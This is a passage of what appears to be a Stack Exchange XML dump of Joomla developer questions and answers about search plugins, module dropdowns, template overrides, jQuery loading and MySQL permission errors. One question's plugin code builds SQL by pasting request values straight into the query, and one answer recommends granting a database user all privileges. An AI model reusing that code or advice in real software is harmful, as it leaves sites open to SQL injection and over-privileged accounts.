rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-03-28T18:12:54.080" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="4365" PostTypeId="1" AcceptedAnswerId="4409" CreationDate="2014-09-08T11:12:07.573" Score="4" ViewCount="3201" Body="&lt;p&gt;I have got a table in the database called &lt;code&gt;#__magazines&lt;/code&gt;, this holds data for magazines (date published, issue number etc..). I have created a Component, Plugin and Module which is for Joomla 3.x, I want to be able to have the module display variables (let's use Published Dates as an example) which if they are chosen and then the &quot;Search&quot; button is clicked, the module will go to the database and then bring back all of the results which match the chosen date and display the results in a new page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed the Joomla tutorials, but I can't workout the best way to query the &lt;code&gt;#__magazines&lt;/code&gt; table and then display the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have now got the search plugin working correctly, so if I search for a magazine title (which I know is in the database) it appears in the search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know however, is how I can display all of the different variables from the database table of &lt;code&gt;#__magazines&lt;/code&gt; and show them as dropdowns in a search module but not have duplicates. For example, if there is a &lt;code&gt;title&lt;/code&gt; called &lt;code&gt;June 2014&lt;/code&gt; and this is in the database twice, I only want it to show in the Select Option dropdown once, if it is then chosen and the &quot;Search&quot; button clicked the user is taken to the results page, where the multiple version of the &quot;June 2014&quot; details are shown.&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="12352" LastEditDate="2019-02-03T05:59:25.657" LastActivityDate="2019-02-03T06:05:58.807" Title="Creating a module to search the database and display the results" Tags="|component|development|module|database|mysql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4366" PostTypeId="1" CreationDate="2014-09-08T11:41:15.970" Score="2" ViewCount="342" Body="&lt;p&gt;How to link jquery files in Joomla 3x to head section. I also downloaded and installed plugin &quot;jQuery++ Integrator by tushev.org&quot;, But this is not going to work for me. I am trying this for a image slider. Any help greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance&lt;/p&gt;&#xA;" OwnerUserId="1875" LastActivityDate="2014-09-10T10:39:03.003" Title="How to link Jquery files in Joomla 3x to head section" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4367" PostTypeId="1" AcceptedAnswerId="4368" CreationDate="2014-09-08T13:44:12.063" Score="2" ViewCount="2508" Body="&lt;p&gt;I have a little problem on one of my Joomla website.&#xA;I had to delete the &lt;code&gt;Forgot Password&lt;/code&gt;... the 2/3 Links that appears under the login module. They're gone now, but still there is 3 &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; section, so 3 little dots I can't remove. How can I change that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/41HXP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="1859" LastEditorUserId="1629" LastEditDate="2014-09-09T11:29:20.517" LastActivityDate="2014-10-27T10:52:03.870" Title="Delete &lt;li&gt; tag of &quot;Forgot Password&quot;, &quot;Registration&quot;" Tags="|php|joomla-2.5|login|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4368" PostTypeId="2" ParentId="4367" CreationDate="2014-09-08T14:01:56.853" Score="6" Body="&lt;p&gt;Rather than delete this functionality, the best thing to do would be to disable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, in your backend go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://YOURSITE.com/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_users&quot;&gt;http://YOURSITE.com/index.php?option=com_config&amp;amp;view=component&amp;amp;component=com_users&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first option which appears, set &quot;Allow User Registration&quot; to No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've done this, you need to create an override in your Joomla template. Simply go to the backend of your site (via FTP) and browse to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;modules/mod_login/tmpl/default.php and copy (be sure not to move it) this file into:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/templates/YOURTEMPLATE/html/mod_login/default.php (If mod_login isn't a folder, just create it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have got the file in there, open it in your favourite editor and remove the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=reset'); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=remind'); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_('MOD_LOGIN_FORGOT_YOUR_USERNAME'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php&#xA;    $usersConfig = JComponentHelper::getParams('com_users');&#xA;    if ($usersConfig-&amp;gt;get('allowUserRegistration')) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=registration'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('MOD_LOGIN_REGISTER'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above is roughly lines 60 -&gt; 77&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should then revolve it!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to override the user login component, you need to copy the file from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_users/views/login/tmpl/default_login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/YOURTEMPLATE/html/com_users/login/default_login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and remove this part from the copied file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=reset'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('COM_USERS_LOGIN_RESET'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=remind'); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('COM_USERS_LOGIN_REMIND'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php&#xA;        $usersConfig = JComponentHelper::getParams('com_users');&#xA;        if ($usersConfig-&amp;gt;get('allowUserRegistration')) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_users&amp;amp;view=registration'); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;?php echo JText::_('COM_USERS_LOGIN_REGISTER'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;About line 57 ~ 76.&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="1520" LastEditDate="2014-09-08T14:40:45.313" LastActivityDate="2014-09-08T14:40:45.313" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="4369" PostTypeId="1" AcceptedAnswerId="4372" CreationDate="2014-09-08T15:56:11.943" Score="2" ViewCount="101" Body="&lt;p&gt;Our site (Joomla 2.5.8) is using the Document Seller component/module (I'm not clear on the proper use of these terms in the Joomlaverse) to categorize and sell a series of PDF documents. The categorization is currently problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structure is such that there are a small number of categories (about 5) each of which has 3-8 sub-categories. Documents belong to an arbitrary number of subcategories. (The business logic doesn't enforce a constraint of documents only belonging to subcategories, but that's how it's been used.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database tables look like you'd expect: a categories table which includes a parent ID (that's how the subcategories are linked to their parent categories) and a category/document join table with IDs for categories. Looking at the database tables this all seems to be in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I visit the listing page for a subcategory, I see a path like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.org/index.php/publications/strategic-planning/subcategory-name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and breadcrumbs like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Home » Publications » Strategic Planning » Subcategory Name » Strategic Planning » Subcategory Name&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first link to &quot;Subcategory Name&quot; has the URL which shows in the location bar of the browser. The second link to &quot;Strategic Planning&quot; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.oursite.org/index.php/publications/strategic-planning/subcategory-name/view_categories/9-strategic-planning&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page reads &quot;There are no documents in this category&quot; although there are, in fact, documents in this category. If I visit the category URL listed above, I get a list of subcategories which shows the correct number of documents in the subcategories, but the links there send me back where I was (the page with no documents).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it looks like the &quot;proper&quot; (shorter) URL is getting routed to a some set of bogus parameters, and the correct parameters are generating a bogus URL (which gets somehow redirected to the shorter URL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;router.php&lt;/code&gt; file for the module &lt;em&gt;appears&lt;/em&gt; to my inexperienced eye to be in order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the administration pages, all the categories show 0 documents, but the documents are in place and, as I've mentioned, the database table linking categories and documents seems to make the correct relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a Joomla dev, nor a PHP hacker. I'm a Ruby/Rails dev trying to help out our webmaster, who is a non-programmer. How should I get started debugging this problem?&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2014-09-08T18:25:45.800" Title="Is this a route loop?" Tags="|url|module-params|subcategories|jroute|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4370" PostTypeId="1" AcceptedAnswerId="4373" CreationDate="2014-09-08T17:01:11.010" Score="3" ViewCount="257" Body="&lt;p&gt;I have got a search plugin, which was developed for Joomla 2.5, the code in the search.php is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;    //To prevent accessing the document directly, enter this code:&#xA;    // no direct access&#xA;&#xA;    defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;&#xA;    $mainframe-&amp;gt;registerEvent( 'onSearch', 'plgSearchHotels' );&#xA;&#xA;    JPlugin::loadLanguage( 'plg_search_hotels' );&#xA;&#xA;    function &amp;amp;plgSearchHotelsAreas()&#xA;    {&#xA;            static $areas = array(&#xA;                    'hotels' =&amp;gt; 'Hotels'&#xA;            );&#xA;            return $areas;&#xA;    } &#xA;&#xA;    function plgSearchHotels ( $searchdate, $airport, $resort, $numadults, $numchild, $numinfants, $ordering='' )&#xA;    {&#xA;            $db    =&amp;amp; JFactory::getDBO();&#xA;            $user  =&amp;amp; JFactory::getUser(); &#xA;&#xA;            $plugin =&amp;amp; JPluginHelper::getPlugin('search', 'hotels');&#xA;&#xA;            $searchdate = trim( $searchdate );&#xA;            $numpassengers = $numadults + $numchild;&#xA;&#xA;            if ($searchdate == '') {&#xA;                return array();&#xA;            }&#xA;&#xA;&#xA;            switch ( $ordering ) {&#xA;    //alphabetic, ascending&#xA;                    case 'alpha':&#xA;                            $order = 'a.name ASC';&#xA;                            break;&#xA;    //oldest first&#xA;                    case 'oldest':&#xA;    //popular first&#xA;                    case 'popular':&#xA;    //newest first&#xA;                    case 'newest':&#xA;    //default setting: alphabetic, ascending&#xA;                    default:&#xA;                            $order = 'a.name ASC';&#xA;            }&#xA;&#xA;            $searchHotels = JText::_( 'Hotels' );&#xA;&#xA;            $query = 'SELECT mykey, hotelName, resortName, dep, startDate, sellingPrice FROM Availability WHERE startDate = &quot;'.$searchdate.'&quot; AND available = &quot;Y&quot;';&#xA;            if($airport !== &quot;A&quot;) $query .= ' AND dep = &quot;'.$airport.'&quot;';&#xA;            if($resort !== &quot;A&quot;) $query .= ' AND resortCode = &quot;'.$resort.'&quot;';&#xA;            $query .= ' AND seats &amp;gt;= '.$numpassengers;&#xA;            $query .= ' AND beds &amp;gt;= '.$numpassengers.' ORDER BY sellingPrice ASC';&#xA;&#xA;            $db-&amp;gt;setQuery( $query, 0, $limit );&#xA;            $rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;            return $rows;&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to use this code on Joomla 3.3, it's not working correctly. Any ideas what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="159" LastEditDate="2014-11-24T21:54:51.800" LastActivityDate="2014-11-24T21:54:51.800" Title="Update Search Plugin from Joomla 2.5 to Joomla 3.x" Tags="|joomla-3.x|joomla-2.5|plugin|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4371" PostTypeId="2" ParentId="4366" CreationDate="2014-09-08T18:25:13.373" Score="2" Body="&lt;p&gt;Joomla 3 actually ships with a jQuery version core. Using other jQuery versions likely only generates conflicts. So you should use the one which comes with Joomla whenever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To load it you should use the command &lt;code&gt;JHtmlJquery::framework()&lt;/code&gt; (See &lt;a href=&quot;http://api.joomla.org/cms-3/classes/JHtmlJquery.html#method_framework&quot; rel=&quot;nofollow&quot;&gt;http://api.joomla.org/cms-3/classes/JHtmlJquery.html#method_framework&lt;/a&gt;). This will load it into the head in &quot;noConflict&quot; mode and makes sure it's only loaded once, even when requested by multiple extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I would use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtmlJquery::framework(); &#xA;JHtml::script('com_yourcomponent/jssor.core.js', false, true);&#xA;JHtml::script('com_yourcomponent/jssor.utils.js', false, true);&#xA;JHtml::script('com_yourcomponent/jssor.slider.js', false, true);&#xA;JHtml::script('com_yourcomponent/slide.js', false, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then put your files into following locations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/media/com_yourcomponent/js/jssor.core.js&lt;/li&gt;&#xA;&lt;li&gt;/media/com_yourcomponent/js/jssor.utils.js&lt;/li&gt;&#xA;&lt;li&gt;/media/com_yourcomponent/js/jssor.slider.js&lt;/li&gt;&#xA;&lt;li&gt;/media/com_yourcomponent/js/slide.js&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Doing it this way will even allow the template to override specific files if needed.&#xA;See the excellent blog post from Michael Babker for more details: &lt;a href=&quot;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&quot; rel=&quot;nofollow&quot;&gt;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="52" LastEditDate="2014-09-10T10:39:03.003" LastActivityDate="2014-09-10T10:39:03.003" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4372" PostTypeId="2" ParentId="4369" CreationDate="2014-09-08T18:25:45.800" Score="3" Body="&lt;p&gt;We made this problem go away by updating Joomla to 2.5.24 (a painless point-release upgrade) and updating Document Seller to its 3.5 version, and the problem described above resolved itself exactly as @johanpw suggested.&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2014-09-08T18:25:45.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4373" PostTypeId="2" ParentId="4370" CreationDate="2014-09-08T21:47:28.913" Score="7" Body="&lt;p&gt;Suggested readings are &quot;&lt;a href=&quot;http://docs.joomla.org/J2.5:Adapting_a_Joomla_1.5_extension_to_Joomla_2.5#Renamed_Events&quot; rel=&quot;nofollow&quot;&gt;Adapting a Joomla 1.5 extension to Joomla 2.5&lt;/a&gt;&quot; and the &lt;a href=&quot;http://docs.joomla.org/Creating_a_search_plugin&quot; rel=&quot;nofollow&quot;&gt;&quot;Creating A Search Plugin&quot; article on Joomla Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, that code look's like a Joomla! 1.5 era search plugin. However, it's not of a standard form… the second method you have &lt;code&gt;plgSearchHotels()&lt;/code&gt; follows the naming convention for Joomla 1.5 but the variables passed to it don't match up, e.g. this is the signature of a standard Content search plugin from 1.5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;plgSearchContent( $text, $phrase='', $ordering='', $areas=null )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously the &lt;code&gt;Hotels&lt;/code&gt; component is doing something unique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The give away, re: Joomla 1.5, is the &lt;code&gt;$mainframe&lt;/code&gt; which was deprecated in the 1.6/2.5 line, and doesn't exist and isn't required in a new plugin. So first up you need to remove that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Joomla 1.6+ style plugin (of any type) extends the class of &lt;code&gt;JPlugin&lt;/code&gt; for example the standard &lt;strong&gt;Search&lt;/strong&gt; plugin for &lt;strong&gt;Content&lt;/strong&gt; in 2.5/3.x+ is defined as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSearchContent extends JPlugin&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Luckily the class implementation didn't make the work too hard, and while the previous function names changed into method names for the new class and got relabelled they're otherwise pretty similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;function &amp;amp;plgSearchHotelsAreas()&lt;/code&gt; will become &lt;code&gt;function onContentSearchAreas()&lt;/code&gt;. That was the simple one… normally the second method is as described above and would be renamed to &lt;code&gt;onContentSearch()&lt;/code&gt; - without knowing else is happening I can't really advise more on this particular method and how you'll fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the next thing is to wrap your renamed &lt;code&gt;functions&lt;/code&gt; in the appropriate class, this is usually a portmanteu of the plugin type (&lt;strong&gt;Search&lt;/strong&gt;) and the component's core name (i.e. &lt;strong&gt;Hotels&lt;/strong&gt;), so going on your code I'm guessing it will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgSearchHotels extends JPlugin&#xA;{&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you started… once you've read the documentation, updated the plugin and hit some bugs I'd suggest opening specific questions about any subsequent issues you hit.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-09-09T08:01:39.647" LastActivityDate="2014-09-09T08:01:39.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4374" PostTypeId="1" AcceptedAnswerId="4376" CreationDate="2014-09-09T07:48:48.740" Score="6" ViewCount="1700" Body="&lt;p&gt;I've just installed Joomla! 3.3 but sometimes, when I want to change a parameter, it shows the next error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1044 Access denied for user '&lt;strong&gt;&lt;em&gt;&lt;/strong&gt;'@'localhost' to database&#xA;  '&lt;strong&gt;*&lt;/em&gt;&lt;/strong&gt;' SQL=LOCK TABLES &lt;code&gt;h2ap7_assets&lt;/code&gt; WRITE&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I solve this? &lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="159" LastEditDate="2014-09-09T08:25:55.743" LastActivityDate="2018-06-21T08:11:03.190" Title="Sometimes it shows the error #1044" Tags="|joomla-3.x|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4375" PostTypeId="2" ParentId="4374" CreationDate="2014-09-09T08:18:45.340" Score="2" Body="&lt;p&gt;First of all, check if the user you are using has the necessary permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote the MySQL manual:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must have the LOCK TABLES privilege, and the SELECT privilege for each object to be locked. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have access to a MySQL console, you can check it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHOW GRANTS;&#xA;SHOW GRANTS FOR CURRENT_USER;&#xA;SHOW GRANTS FOR CURRENT_USER();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can query the &lt;code&gt;users&lt;/code&gt; table &lt;code&gt;mysql.user&lt;/code&gt; and check for the column &lt;code&gt;Lock_tables_priv: Y&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="12352" LastEditDate="2018-06-21T08:11:03.190" LastActivityDate="2018-06-21T08:11:03.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4376" PostTypeId="2" ParentId="4374" CreationDate="2014-09-09T08:18:45.950" Score="2" Body="&lt;p&gt;I had the same issue, turned out to be incorrect user privileges in the &lt;strong&gt;MySQL&lt;/strong&gt; database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can manage your database users via your web hosting account, cpanel, or phpmyadmin etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manage your database, select user, grant &lt;strong&gt;all&lt;/strong&gt; privileges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wiki docs are &lt;a href=&quot;https://wiki.phpmyadmin.net/pma/user_management&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-09T08:18:45.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4377" PostTypeId="1" CreationDate="2014-09-09T08:25:05.170" Score="3" ViewCount="2484" Body="&lt;p&gt;On a website I have a template installed which also installed the T3 framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time I get a notification about an update but when installing an error occurs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Invalid extension update&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All other updates work without any issues. In previous attempts I also tried manually updating. But it did not fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjQn2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorDisplayName="user1756" LastEditDate="2015-07-08T15:18:44.957" LastActivityDate="2015-08-23T17:00:36.840" Title="Error when updating T3 template and T3 plugin: &quot;Invalid extension update&quot;" Tags="|joomla-3.x|update|one-click-updates|t3-framework|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4378" PostTypeId="1" AcceptedAnswerId="4383" CreationDate="2014-09-09T09:12:33.073" Score="1" ViewCount="215" Body="&lt;p&gt;I'm displaying images on my website with the ZOO component and with the help of the movie database, users can rate the image (or the video).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users are on the main page of the section they just see the image, and have to click on it to see the rest (rating, text ..), but I want to show users the ratings of each pictures on the main page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an option I didn't see in the ZOO component? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/2 : The main page&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1LVm3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;2/2 : The image page.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rzecG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want the rating to be presents on the main page, under the pictures.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Backend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8Bez.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FIuk7.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cj7RV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1859" LastEditorUserId="159" LastEditDate="2014-09-09T12:30:14.543" LastActivityDate="2023-07-28T13:11:15.853" Title="ZOO Component - Image Database" Tags="|joomla-2.5|zoo-cck|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4379" PostTypeId="1" AcceptedAnswerId="4387" CreationDate="2014-09-09T10:43:13.597" Score="1" ViewCount="1828" Body="&lt;p&gt;I have a module which has dropdown select boxes. I have a table in the database, which is associated to a component, which the module is associated with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the component database table has data in it, how can I get the module to display the data in a dropdown and if selected it will show the results on a separate page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have the following dropdowns in the module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label for=&quot;airport&quot;&amp;gt;Airport:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select id=&quot;airport&quot; name=&quot;airport&quot;&amp;gt;&#xA;            &amp;lt;option selected=&quot;selected&quot; value=&quot;A&quot;&amp;gt;Any Airport&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;LGW&quot;&amp;gt;Gatwick&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;MAN&quot;&amp;gt;Manchester&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the database, there is a table called &quot;dep&quot;, it has either MAN or LGW in it. If the user selects LGW from the dropdown and then clicks search, I want the component to load all of the data from the database which has got LGW in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set the following Database query in the module, but how can I use this to show the data in the dropdowns and then show the correct results?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('mykey', 'hotelName', 'resortName', 'dep',     'startDate', 'sellingPrice')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__availability'));&#xA;$query-&amp;gt;order('ordering ASC');&#xA;&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-09-09T14:32:52.903" LastActivityDate="2014-09-09T16:27:39.917" Title="Module to display dropdown options from database table" Tags="|component|development|module|database|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
